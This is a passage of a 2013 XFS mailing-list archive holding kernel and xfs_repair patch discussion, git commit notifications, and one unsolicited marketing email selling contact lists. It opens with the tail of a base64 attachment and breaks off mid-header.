kW+xsu+qsVnr67raPqy9FYJJX1M4+T/EfP2j77cbPLxryv27VO+U/GX7GNFIRj1uMhoZRdxsjlsk x12zLnRs3Vj1eMz9u1fhz2Cl9HpFPn6GK9lO3suIR2xr/Tq6hT28/0VXj8VaUq/Ya93r5l3HqO+z r3Q0mL0fItL14s5oeNrZXl92NoZffYrmZNglpKGjKH+f0a7TuezgHdn4H4OGvres3WfvN5VK9bv0 pIrZaO57Gftmg2/mdsRYFnrWhDCu8939rhdnEXzV+XQRGz3/K8MLXu7O7F75/KjJSwZWg4Ffz31v 7E+75zwe84DdC43BKn8W3cK+Rzcw5PuVn8fZ1TqYT9OzYL6jnNC9YzUrP9fuliumBoWiQzdvR3jl 4u1qmZiaVt4UttW5ixuHgpjJXqRmpzzvT/r5/+MPHvTTB9nG+w/XfwV2JzNql74ytdGaG6l34K5w 5JdfoLVcnT6XMZLB/f43LkWSyWq5QdzlN7j3B+RvTVvpPM13qPmstn5PSg28jmSWxkIpeXq5LeFW yitFaDSNfIw/F303DYzL0WQ2blJ9CzS+Udys/Q6/OzubwX8MPIulc0m12XBa+r+Pa210y/4q2ftt v5nfykXAxW3cfq+zydy/6pzwHjmZjLbRwk21oxOSW5facltR4JB0Pm81w5s68a3NXPMXXR/VwlaM yM0rcxf5dI2qLpIo63d9VAMH6clq1nIXMDrftgfHoNZjL5xeELOdvWTW93a2yfluPvUP246vaGBW l9Z4N1xNVCdPnb+dzHg0LHoq55PK+zCvvW/G0v63lQkP3vO7vUt21P90He507saBm2LlprZmdx0W xxnsn9S31Z3o9xboLPzt3c7BdY1qurl49zsHvo5KKg3De5f+XL7srdetTfdZvreMXnJSW2+Tk1lw 3CGx37WYaYrS7F9p7t7559hJvW78SxwF7ZamW5kzeYmmhndQ53K0Gw7DOs3jlxIrzz7S84zdyWke 3qoDO/NlpGytTNppDMwU/d7bZNHF9zg7zUdGxz0rhsMs33kyE9jnt8w353PkN+Bibd4eLI3Rmm67 2rFZcBEXRZ+6j22wUfR25/frzav0Xkfm3jQPo0E39M5qb39dqz/d20favFke3mr1P6hDK0Wwxl7v fk1k3u2DY3vn63BM+f1mC4L0uQdoxu9n3nL7nzrPIpsDTaPdwfkzKtttDh/M3+L5yni1wmCmW+Z5 Vdo6HFxspO5F2X87R6K52Sg4O0b7Bnp3mfjQfvnbL0cf0LHxOXm89ZOlBxvkgXGM3rlr47P8S6O1 H+36auwfrg5ej463LaV6w8414tr3GMosVpertnRa7WG2VJYWz5rm2br2fofy7XOa8MLexHzMPI5W 4FVt3cV+PM6DYD7a8O8N2U3alYntVvonsV25qu7alyV8uMxCnERH57Raylk6MvxtVyUUr125Xb3h ku1H3VfVs6m0Y5+2/3Qs9mc9P1yAbOk1wmoYVNz7eYis3usLsqPJvN3Xrpj+c6QM5gcZk4hw7q7B 5S4stzsjJd2Voa81FrFluGWzvGyF580nq3HRzHz9dj0f3vXAnuM+eXDSM1384gxO9ZNs/rUhyhMH 2vubptd53Fhx8G02Fev3ouz1Gc6WUGXRb7h0NjzmouRXBvm02m86ftP6gQ2gVZtXv33VY1mqqDFV ZzySxmQe8zvarTlVZHySxcQ/3sl2qguqsVaSzjm4murQCqqGklm0VPllHNSooE+DeFAf6/DBzXqp cOrwOXR4eoPGQsRDuzHU/NTGjgoeAiIGFh4P169Xm22hxpwjI2pLgX6GqAQVOUfBRjG8O6uqur85 wENF1MkSjGDEPGOb9T1CRsbEubS0xkAMf36MaIiJqSByeCiIv12NH5RcG0wMW/YgYeU6NLY1NTe0 07+uVLr/BtdRuGjWv1mNjiyBwgU5thcNgGBiMH6AgB1yHOD+xNEtge2YbTKtoWkLSDcDcDeDeWoS G9jOEdmM6D13+goZ8SxCbtY2l3IjWoKOVaYU7luSZJ8UT3qhYrF4bOXbaEvDa82l3LSP4G7rR8Xt AUz6UslqlvKSijSoyxCrJRNAnPTtvGbHUk0qSMa9GxvTuryJi760cUzi5FJ+kHz7K0MPkNLlQ9ZU 6VTTBwUQekVK1HD8VSsp0eqUq0L4XVPCqdSiZR7UD5t7LFs+PIAiWDFeBk6Yg3AxYqR+EgOI2PrU DKRER4eESA4ZrdKUcJJXWEwsgEX24FjicZ1IiGi5jfegvoX4MIEMEaH1hLBjQyYTAZQCHXnDDOho w0oakNUl+E2NmYEsPu7MOMHHDpJeE3e2YeIhJGT5CaKwK4L4MIWQLMBLH24GDsDuDyD0FuPze1bz C4A+hdwvYE9nsKYYQIoIsIwI0PrDEhLBjQy4ZgNAE0GmDUBsQ2YbwN6FAHED8w5IdQOqHXCiDuBS B5T8vNfyYHYXo9UamaKoVsFsGILCFjBkCyBZQagawcQcwtgPgfQF9CFDBhiAjwkAxISgSoTATIfa GaCaDRB+Aa8N8HBDlByw64UQd4KQPKH8gqD9EVowXAsAM4WgHEHIHYHcHkHoLiFyC9B9IX8MAGBD CBFhGBiAjwkwxYZIMmGdDPBow0gaoNWGwDchPhwQ/MOWHSDphRh3Q8ofsH8h5wpj81/KRgpguAvA xBYgs4MwNYOp+bPJIyZMMWEoWSoY0McGPDIBNhqSCA7tZvfy/qyi6IT4TLEtu8Xj7OJLNq7n2FRF E2r/QoD705QpQEpe8+ryJJI05oheGA6LLHUmQ41Ms1X8tJE3Wa70N9Y8DVsnF3LWRGTkOl/IEsb1 dTrkcIfb/V0dzeWZXyIK3K5r0X8cOBC63BVFdhviGUWOhCT1LvhLi7zaU4GpMXwOWTKTSgW/VmOt Fnp7+WDByo1ECrGn60XSJUy36uqEBItNSl5HmtFs1GNAWIC3sfiF6Wlgxmo3l0K0WzEZ685XDWaj fXk141mo3lvrAWzEZxCrFS5xkKRpEb38Dp8QCSbkRdJY2UiNiIZTrWw0HT+VJ/DTQi6Xo9R5ei6V EUBcocYXxfMNQNypjF6sxGIxIS5FWQh41UtmoxovjEzvVdI0iMZRufMLRbNRjUC88EfXA1GtRLzt x9b01GtSLzqDAWzEY1MsRAS5cmXEuTad5HXR9P8/e+dlIk6PJ3rY8KtgKRDeoAgN4flZza1tf17A WV40WQNxMiVnGdhyqI8g2IwHx79l1ipPHzaWOUKm+YcPTzNirgsJbmIQ+PWx8hcVpcZhOlnaBXln chLDHahD4+an1Z9EoPt69fr9SBJYHACyb5CitlyiDtYL1rXLieLpkhfa75SnuP+0Q+RHnSxzfp13 Tnai3JMW3Fmb7uxD+CfF36ekLdfVRna7iRkTuPuUzCYTen2meUKfXQ+WwpBVnq5Qpskp4KFLjHf0 pTkSFbSp+kppSGxZhxYQb/ZZiBQ50apn0v3TlLinyE7r7/erpC3MUyg4dOKFRRKBSghRFU1nFQvU cLcqiYAPJV5Hr3nCighRgkYroOHEBdxRA4t+GO/SNwwUNf4oeoQKSihUFI+n0/FvTrH3eBR46B/H S4Y0bWg4arSiUhI4ylqLwvQosY2/HUDw0SqIuFUtIC4x3v8ct6ARm72UvY+o+besIaOQxjFqIExP kbtZUfnP4xPMhWovwlSC1jKEaLDDKRq4Wu3O+MYixQqdB/kKJSqESb37vncT/oH63DHUYKEGODU4 DQ1i6iaL4okYqmmHFBijBwkvXtvGIyaehvWU3lpqbp9t4L8PHwHSRQUKYGKBJz2/cxXghEJUwWVA gNojA1dSm/ATyZXQFzajgTUffzgwOtj21JGo9KMGgXUvmBFubMX4Md5HSoQ9Qv0josHKFCM2mb/o FCnHOBPhjCVtuxw4UkSp7KRphWSgjVU24Y4qf6li/asNInpKuEpQLFFKddDTMg6/xmHCnnU/HIq9 TGnJ5Yx2LxrU5dfFS7xCmZDuMoK7jrRfmCDNitisZ+RtkxOkJ13aqIoplT+CNTexVbp+OyddWW1r /vOL0NKow5U6L0uLxa21e/I4kpK9J/L3WHwpslLsSqpTF/PnrKqtTfPpLhUpaZZ9QyPpi6xR14+x VYvJ8P+DmGwVWusVWFpar6d9K8xx70lZpQIJrYjNiI5bUd7YTcS+fmpkl94IKEA3oU/6Y+/7zi/f egd75UUHwc3ckVv0MtoPB5rrCLWpyimJmsuu5xF4vqBLackl5c9a9Mn1mc6eyETYkucPp0wUj81s mxyT88lQiSsE6MwVRJc1eqwgJf/mQwWEg1GA/sDbieMGxXDB8QJR0Re4xGyIVX979Gx3wR5BG6E0 LiGaIGIjcLV0y1uBbItZucLARcRGRGCjUd1wWC9bgkf0VHIE/Onosr+PWKNqV44mFx/EQF08itox /WCUR6IEh1Jcktj/uap/95wAAAAAAAAF/O/tx+0PKoOVnWivLWWzJYz+bVlxRn4zZkQh22pCiT8f PEn5OflSytmH2H6uDLpdtyzp+a8aQsrgfgl2HdnT8/9bU8JnxVfj1kxmFM+FNjUYkr3ZR/P3PpJx MS17dukE466Qn5A4VCygoez1aHu9qiTbdj/3nAAAAAAAAAX+sgTsaEo/HlKJ+vdKZ+MeqqSVY/HV D/55rJ+PDWz9fDXCxcBdPl66frmWAwYQryXktqwH43zYSxGl20+YyyxpBkD5vdxgyyllmS8dIZjw 1aCxoBpBqBrBsBtSS3Fjf7uMf3IscwdDJ843u5/eZX/suHuS8PcLhGK2ChxwxYo8ST0l4SggTAJO SMqiXKQ7kLabdQw17J/uNvJ+3ZGlrJtB+/C/2uVRIUCeYxGaKx7tv/Wsm4Lj+KGFBCN5VSWhQID/ THyo2vFmYS/62voGnUWKBJud3ABBHVFfKuYRjaE/26M1jYtLCY6i94OHI9yWyV5t4xrBHEgkT7B4 UffDiM8jL/oTtnLtUPgPv/GQ3E0K92+BCM0bSnDaAm5vdS3Eiuo1CcGL/K5bJvL3/jPZsR4i/+P9 I2ZU//+2Z38vuqAdekSqlVBVbbJL4G873c8NHRd3wI6t24aRuThaGxqam05gs3O8EirXEQB3qkne 0D8MNhYKHjWhxF4nL8YoX/ecX9f/8cQ9ewBABwA= ------=_NextPart_000_0A4F_01CEAFD5.6D6EDD00-- From bpm@sgi.com Thu Sep 12 09:50:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B272A29DFB for ; Thu, 12 Sep 2013 09:50:27 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3F2DFAC005; Thu, 12 Sep 2013 07:50:27 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E4FC74266DC; Thu, 12 Sep 2013 09:50:26 -0500 (CDT) Date: Thu, 12 Sep 2013 09:50:26 -0500 From: Ben Myers To: Mark Tinguely Cc: xfs@oss.sgi.com, Dan Carpenter Subject: Re: [PATCH] xfs: remove dead code from xlog_recover_inode_pass2 Message-ID: <20130912145026.GA1935@sgi.com> References: <20130912140122.873071199@sgi.com> <20130912140127.489098296@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130912140127.489098296@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Sep 12, 2013 at 09:01:23AM -0500, Mark Tinguely wrote: > Additional code in the error handler of xlog_recover_inode_pass2() > results in the following error: > > static checker warning: "fs/xfs/xfs_log_recover.c:2999 > xlog_recover_inode_pass2() > info: ignoring unreachable code." > > Reported-by: Dan Carpenter > Signed-off-by: Mark Tinguely Looks fine. Applied. Reviewed-by: Ben Myers From bpm@sgi.com Thu Sep 12 09:50:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DC5B229DFB for ; Thu, 12 Sep 2013 09:50:45 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 912F1304039; Thu, 12 Sep 2013 07:50:42 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5F80A4266DC; Thu, 12 Sep 2013 09:50:42 -0500 (CDT) Date: Thu, 12 Sep 2013 09:50:42 -0500 From: Ben Myers To: Dan Carpenter Cc: Dave Chinner , Alex Elder , kernel-janitors@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [patch] xfs: = vs == typo in ASSERT() Message-ID: <20130912145042.GB1935@sgi.com> References: <20130911211731.GA10527@elgon.mountain> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130911211731.GA10527@elgon.mountain> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Sep 12, 2013 at 12:17:31AM +0300, Dan Carpenter wrote: > There is a '=' vs '==' typo so the ASSERT()s are always true. > > Signed-off-by: Dan Carpenter Applied. From bpm@oss.sgi.com Thu Sep 12 10:14:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 02A3F29DFC; Thu, 12 Sep 2013 10:14:54 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.12-rc1-13-g08474ed X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 74ffa796e127906883cacedcf3871494192c9e42 X-Git-Newrev: 08474ed639e971e9d5a877cf7aba7ef91d847ae9 Message-Id: <20130912151454.02A3F29DFC@oss.sgi.com> Date: Thu, 12 Sep 2013 10:14:53 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 08474ed xfs: remove dead code from xlog_recover_inode_pass2 aa9e104 xfs: = vs == typo in ASSERT() from 74ffa796e127906883cacedcf3871494192c9e42 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 08474ed639e971e9d5a877cf7aba7ef91d847ae9 Author: Mark Tinguely Date: Thu Sep 12 09:01:23 2013 -0500 xfs: remove dead code from xlog_recover_inode_pass2 Additional code in the error handler of xlog_recover_inode_pass2() results in the following error: static checker warning: "fs/xfs/xfs_log_recover.c:2999 xlog_recover_inode_pass2() info: ignoring unreachable code." Reported-by: Dan Carpenter Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers commit aa9e10409eae9dd61a336c6307d0a0b538063970 Author: Dan Carpenter Date: Thu Sep 12 00:17:31 2013 +0300 xfs: = vs == typo in ASSERT() There is a '=' vs '==' typo so the ASSERT()s are always true. Signed-off-by: Dan Carpenter Reviewed-by: Dave Chinner Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap_btree.c | 4 ++-- fs/xfs/xfs_log_recover.c | 3 --- 2 files changed, 2 insertions(+), 5 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Thu Sep 12 10:15:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id C414C29E11; Thu, 12 Sep 2013 10:15:04 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.12-rc1-13-g08474ed X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 74ffa796e127906883cacedcf3871494192c9e42 X-Git-Newrev: 08474ed639e971e9d5a877cf7aba7ef91d847ae9 Message-Id: <20130912151504.C414C29E11@oss.sgi.com> Date: Thu, 12 Sep 2013 10:15:04 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 08474ed xfs: remove dead code from xlog_recover_inode_pass2 aa9e104 xfs: = vs == typo in ASSERT() from 74ffa796e127906883cacedcf3871494192c9e42 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 08474ed639e971e9d5a877cf7aba7ef91d847ae9 Author: Mark Tinguely Date: Thu Sep 12 09:01:23 2013 -0500 xfs: remove dead code from xlog_recover_inode_pass2 Additional code in the error handler of xlog_recover_inode_pass2() results in the following error: static checker warning: "fs/xfs/xfs_log_recover.c:2999 xlog_recover_inode_pass2() info: ignoring unreachable code." Reported-by: Dan Carpenter Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers commit aa9e10409eae9dd61a336c6307d0a0b538063970 Author: Dan Carpenter Date: Thu Sep 12 00:17:31 2013 +0300 xfs: = vs == typo in ASSERT() There is a '=' vs '==' typo so the ASSERT()s are always true. Signed-off-by: Dan Carpenter Reviewed-by: Dave Chinner Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap_btree.c | 4 ++-- fs/xfs/xfs_log_recover.c | 3 --- 2 files changed, 2 insertions(+), 5 deletions(-) hooks/post-receive -- XFS development tree From rose@marketingdata.us Thu Sep 12 12:53:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6D97A7F3F for ; Thu, 12 Sep 2013 12:53:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1769BAC012 for ; Thu, 12 Sep 2013 10:53:38 -0700 (PDT) X-ASG-Debug-ID: 1379008413-04bdf05387529a0001-NocioJ Received: from appendvibez.us (138-255-187-203.static.youbroadband.in [203.187.255.138]) by cuda.sgi.com with ESMTP id meZgJ8EwQ5oTG86R for ; Thu, 12 Sep 2013 10:53:33 -0700 (PDT) X-Barracuda-Envelope-From: rose@marketingdata.us X-Barracuda-Apparent-Source-IP: 203.187.255.138 Received: from system06 (unknown [192.168.31.61]) (Authenticated sender: rose) by appendvibez.us (Postfix) with ESMTPA id A5219480F13 for ; Thu, 12 Sep 2013 23:23:02 +0530 (IST) From: "Rose Miller" To: Subject: 2013 Database Date: Thu, 12 Sep 2013 13:53:04 -0400 X-ASG-Orig-Subj: 2013 Database Message-ID: <09ab01ceafe0$ee84aa90$cb8dffb0$@us> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_09AC_01CEAFBF.67730A90" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac6v4O41/A0r0XB9SVmjNa/GL5Akew== Content-Language: en-us X-Barracuda-Connect: 138-255-187-203.static.youbroadband.in[203.187.255.138] X-Barracuda-Start-Time: 1379008413 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 4d4943ec8a52f7b5e896a38610f1927f-2485-txt X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140554 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_09AC_01CEAFBF.67730A90 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi, Hope you doing well. I am writing in regards to see if there is any possibility for us to work with your company. We are leading provider of B2B, B2C and B2G lists and excellent list compiler with highest delivery rate and data appending solutions. Our opt-in email database of Key decision makers can be used for your online promotion, brand awareness and to generate potential leads. We build list according to your requirements based on your targeted business. We are specialized in Email Campaign and Data Append Solution, where you can add your clients missing data (email, fax etc). Some prepackaged lists:- Electrical & Electronics Healthcare Lists Hardware manufacturing Security companies industry Construction & Engineering Marketing & Advertising Lists Management Consulting Oil & Gas Industry Lists Business Services Industry Telecommunication Agriculture, Forestry, Fishing Software Users Manufacturing Industry Lists Aviation & Aerospace Metals & Mining ERP Prospect Lists Tours and Travel Industry Finance, Insurance, Real estate Media & Broadcast Automotive Industry Fortune Company Lists Decision Makers List IT Decision Makers Lists Transportation & Logistics Some Technology Based lists:- SAP Users PeopleSoft Users JD Edward Users Oracle Users Siebel Users IBM Microsoft Enterprise DB File Maker Sybase Teradata Apple Blackberry Linux Novell Solaris SUN UNIX VM Ware Dell HP Intel Agresso BMC Cognos File net Lawson Infor Lombardi NetSuite Sage Telelogic Goldmine Polycom Sales Force WebEx Avaya Cisco Citrix EMC Adobe Auto CAD Micro Dynamics MS SharePoint Mindjet No matter how niche your target market is, we can provide you relevant and accurate contacts from any industries across the globe. Let us know your targeted:- . Industry Type :- (Any) . Geographic location :- (Worldwide) . Job Title :- . Employee size:- . SIC code:- Reply back with your targeted audience, we'll be glad to assist you in reaching out to them, by providing a sample at no cost for a review. Looking forward to hear back from you. Assuring best of our service, Cheers, Rose Miller Marketing Executive 888-882-2064 We respect your privacy. If you want to stop receiving emails from us, please send a reply with the email subject line as "Leave out". ------=_NextPart_000_09AC_01CEAFBF.67730A90 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi, =

 

Hope you doing well. I = am writing in regards to see if there is any possibility for us to work = with your company. We are leading provider of B2B, B2C and B2G lists = and excellent list compiler with highest delivery rate and data = appending solutions. Our opt-in email database of Key decision makers = can be used for your online promotion, brand awareness and to generate = potential leads.

 

We build = list according to your requirements based on your targeted business. = We are specialized in Email Campaign and Data Append Solution, = where you can add your clients = missing data (email, fax etc).

 

Some prepackaged = lists:-

  =

=

Electrical & = Electronics

Healthcare = Lists

Hardware manufacturing =

Security companies = industry

Construction & = Engineering

Marketing & Advertising = Lists

Management = Consulting

Oil & Gas Industry = Lists

Business Services Industry =

Telecommunication

Agriculture, Forestry, = Fishing

Software = Users

Manufacturing Industry = Lists

Aviation & = Aerospace

Metals & = Mining

ERP Prospect = Lists

Tours and Travel = Industry

Finance, Insurance, Real = estate 

Media & = Broadcast

Automotive = Industry

Fortune Company = Lists

Decision Makers = List

IT Decision Makers = Lists

Transportation & = Logistics

Some Technology Based lists:-

SAP Users =

PeopleSoft Users =

JD Edward Users =

Oracle Users

Siebel Users

IBM

Microsoft =

Enterprise = DB

File = Maker

Sybase

Teradata

Apple

Blackberry

Linux

Novell

Solaris

SUN

UNIX

VM Ware

Dell

HP

Intel

Agresso

BMC

Cognos

File = net

Lawson

Infor

Lombardi

NetSuite

Sage

Telelogic

Goldmine

Polycom

Sales Force

WebEx

Avaya

Cisco

Citrix

EMC

Adobe

Auto CAD

Micro Dynamics

MS SharePoint

Mindjet

  

No matter how niche = your target market is, we can provide you relevant and accurate contacts = from any industries across the globe.

 

Let us know your = targeted:-

 

         = Industry = Type :- (Any)

         = Geographic = location :- (Worldwide)

         = Job Title = :-

         = Employee = size:-

         = SIC = code:-

        &= nbsp;    

Reply = back with your targeted audience, we'll be glad to assist you in = reaching out to them, by providing a sample at no cost for a review. =

 

Looking = forward to hear back from you.

 

Assuring best of our = service,

 

Cheers,

Rose = Miller

Marketing = Executive

888-882-2064

 

 

 

 

We respect your = privacy. If you want to stop receiving emails from us, please send a = reply with the email subject line as = "Leave = out".

------=_NextPart_000_09AC_01CEAFBF.67730A90-- From sandeen@sandeen.net Thu Sep 12 15:56:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 46A417CBF for ; Thu, 12 Sep 2013 15:56:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 34A74304039 for ; Thu, 12 Sep 2013 13:56:39 -0700 (PDT) X-ASG-Debug-ID: 1379019397-04cbb02c3ef8bec0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id cb7wXbe9Fc4oA4oM for ; Thu, 12 Sep 2013 13:56:38 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8BE0863BDB67 for ; Thu, 12 Sep 2013 15:56:37 -0500 (CDT) Message-ID: <52322A84.1030007@sandeen.net> Date: Thu, 12 Sep 2013 15:56:36 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH V3] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> X-ASG-Orig-Subj: [PATCH V3] xfs_repair: test for bad level in dir2 node In-Reply-To: <52274F96.2010702@sandeen.net> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379019398 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In traverse_int_dir2block(), the variable 'i' is the level in the tree, with 0 being a leaf node. In the "do" loop we start at the root, and work our way down to a leaf. If the first node we read is an interior node with NODE_MAGIC, but it tells us that its level is 0 (a leaf), this is clearly an inconsistency. Worse, we'd return with success, bno set, and only level[0] in the cursor initialized. Then down this path we'll segfault when accessing an uninitialized (and zeroed) member of the cursor's level array: process_node_dir2 traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd process_leaf_level_dir2 verify_dir2_path(mp, da_cursor, 0) // p_level == 0 this_level = p_level + 1; node = cursor->level[this_level].bp->b_addr; // level[1] uninit & 0'd Fix this by recognizing that an interior node w/ level 0 is invalid, and error out as for other inconsistencies. By the time the level 0 test is done, we have already ensured that this block has XFS_DA[3]_NODE_MAGIC. Reported-by: Jan Yves Brueckner Signed-off-by: Eric Sandeen --- V3: Simplify the test. Mark, Dave, I know you had some concerns about other conditions being tested, but I think those are separate from this fix, which simply ensures that the level we find for this _NODE block is within the valid range for a node. (It also matches the test currently present in xfs_check). If we've got other missing conditions, those can be other patches, I think. V2: Drop re-test of hdr magic which is guaranteed to be NODE at this point. fix "interior inode" - s/b "interior node" My only testcase for this is Jan Yves Brueckner's badly corrupted filesystem image. With this change, we get i.e. : bad level in interior inode for directory inode 39869938 corrupt block 6 in directory inode 39869957 will junk block diff --git a/repair/dir2.c b/repair/dir2.c index 05bd4b7..e82ca7d 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -220,7 +220,7 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), */ if (i == -1) { i = da_cursor->active = nodehdr.level; - if (i >= XFS_DA_NODE_MAXDEPTH) { + if (i < 1 || i >= XFS_DA_NODE_MAXDEPTH) { do_warn( _("bad header depth for directory inode %" PRIu64 "\n"), da_cursor->ino); From sandeen@redhat.com Thu Sep 12 16:00:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BA0D629DFB for ; Thu, 12 Sep 2013 16:00:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5300CAC016 for ; Thu, 12 Sep 2013 14:00:26 -0700 (PDT) X-ASG-Debug-ID: 